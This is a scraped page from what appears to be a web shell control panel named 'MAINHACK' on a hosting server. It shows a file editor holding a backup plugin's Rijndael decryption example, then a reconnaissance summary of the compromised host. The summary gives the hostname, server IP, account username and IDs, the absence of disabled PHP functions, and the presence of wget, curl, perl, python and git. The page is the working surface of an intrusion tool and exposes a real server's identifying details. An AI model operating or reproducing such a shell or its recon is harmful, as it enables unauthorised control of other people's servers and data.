[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: example-decrypt.php
<?php if (!defined('ABSPATH')) die('No direct access allowed'); // @codingStandardsIgnoreStart /* To dump the decrypted file using the given key on stdout, call: rijndael_decrypt_file('../path/to/file.crypt' , 'mykey'); Thus, here are the easy instructions: 1) Add a line like the above into this PHP file (not inside these comments, but outside) e.g. rijndael_decrypt_file('/home/myself/myfile.crypt' , 'MYKEY'); 2) Run this file (and make sure that includes/Rijndael.php is available, if you are moving this file around) e.g. php /home/myself/example-decrypt.php >output.sql.gz 3) You may then want to gunzip the resulting file to have a standard SQL file. e.g. gunzip output.sql.gz */ // @codingStandardsIgnoreEnd /** * An example of how to decrypt a file * * @param String $file Full path to file to decrypt * @param String $key Key or salting to be used */ function rijndael_decrypt_file($file, $key) { include_once(dirname(__FILE__).'/vendor/phpseclib/phpseclib/phpseclib/Crypt/Rijndael.php'); $rijndael = new Crypt_Rijndael(); $rijndael->setKey($key); $ciphertext = file_get_contents($file); print $rijndael->decrypt($ciphertext);// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- intentional binary output }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154